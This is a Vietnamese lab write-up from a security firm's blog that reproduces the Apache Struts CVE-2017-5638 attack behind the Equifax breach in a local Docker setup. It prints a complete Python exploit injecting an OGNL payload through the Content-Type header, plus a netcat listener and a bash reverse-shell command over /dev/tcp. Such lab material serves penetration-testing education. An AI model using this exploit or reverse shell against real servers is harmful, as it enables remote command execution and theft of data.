LAB: Khai thác lỗ hổng đã được sử dụng để tấn công Equifax – Apache Struts

September 19, 2017 | vietsunshine

Lỗ hổng bảo mật Apache Struts CVE-2017-5638 chính là cách để tin tặc tấn công Equifax và đánh cắp 143 triệu thông tin của người dùng.

Apache Struts là một framework lập trình mã nguồn mở, miễn phí, dùng để phát triển ứng dụng web theo mô hình Model-View-Controller (MVC) bằng ngôn ngữ Java, hỗ trợ chuẩn REST, AJAX và JSON.

Dưới đây là mô phỏng quá trình khai thác lỗ hổng Apache Struts CVE-2017-5638 do chuyên gia về kiểm thử xâm nhậpđánh giá bảo mật của Vietsunshine thực hiện

1. Xây dựng môi trường LAB
Tải struts 2 từ địa chỉ sau: http://archive.apache.org/dist/struts/2.3.28.1/struts-2.3.28.1-apps.zi

wget http://archive.apache.org/dist/struts/2.3.28.1/struts-2.3.28.1-apps.zip

Giải nén gói phần mềm tải về

unzip struts-2.3.28.1-apps.zip

Tạo file docker với nội dung như sau

echo -e ‘FROM tomcat:7.0-jre8\nADD struts-2.3.28.1/apps/struts2-rest-showcase.war /usr/local/tomcat/webapps/\nCMD [“catalina.sh”, “run”]’ > Dockerfile

Chạy lệnh sau để tạo docker image

docker build -t struts/test .

Start docker image

docker run -it –rm -p 8080:8080 struts/test

Truy cập vào link sau: http://localhost:8080/struts2-rest-showcase/orders/3. Chúng ta sẽ thấy được kết quả tương tự như sau:

2. Khai thác lỗ hổng
Mã khai thác

#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
payload = “%{(#_=’multipart/form-data’).”
payload += “(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).”
payload += “(#_memberAccess?”
payload += “(#_memberAccess=#dm):”
payload += “((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).”
payload += “(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).”
payload += “(#ognlUtil.getExcludedPackageNames().clear()).”
payload += “(#ognlUtil.getExcludedClasses().clear()).”
payload += “(#context.setMemberAccess(#dm)))).”
payload += “(#cmd=’%s’).” % cmd
payload += “(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).”
payload += “(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).”
payload += “(#p=new java.lang.ProcessBuilder(#cmds)).”
payload += “(#p.redirectErrorStream(true)).(#process=#p.start()).”
payload += “(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).”
payload += “(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).”
payload += “(#ros.flush())}”
# print payload
try:
headers = {‘User-Agent’: ‘Mozilla/5.0’, ‘Content-Type’: payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial
print(page)
return page
if __name__ == ‘__main__’:
import sys
if len(sys.argv) != 3:
print(“[*] struts2_S2-045.py <url> <cmd>”)
else:
print(‘[*] CVE: 2017 – Apache Struts2 S2-045’)
url = sys.argv[1]
cmd = sys.argv[2]
print(“[*] cmd: %s\n” % cmd)
exploit(url, cmd)

 

Exploit lấy shell lệnh thực thi

mở port lắng nghe trên máy tấn công.

nc -vv -l -p 4444

chạy đoạn mã sau để lấy shell lệnh

python apache_struts_CVE-2017-5638.py http://localhost:8080/struts2-rest-showcase/orders/3 ‘/bin/bash -c “bash -i >& /dev/tcp/172.17.0.1/4444 0>&1″’

3. Video toàn bộ quá trình thực hiện:

 

Tags: , ,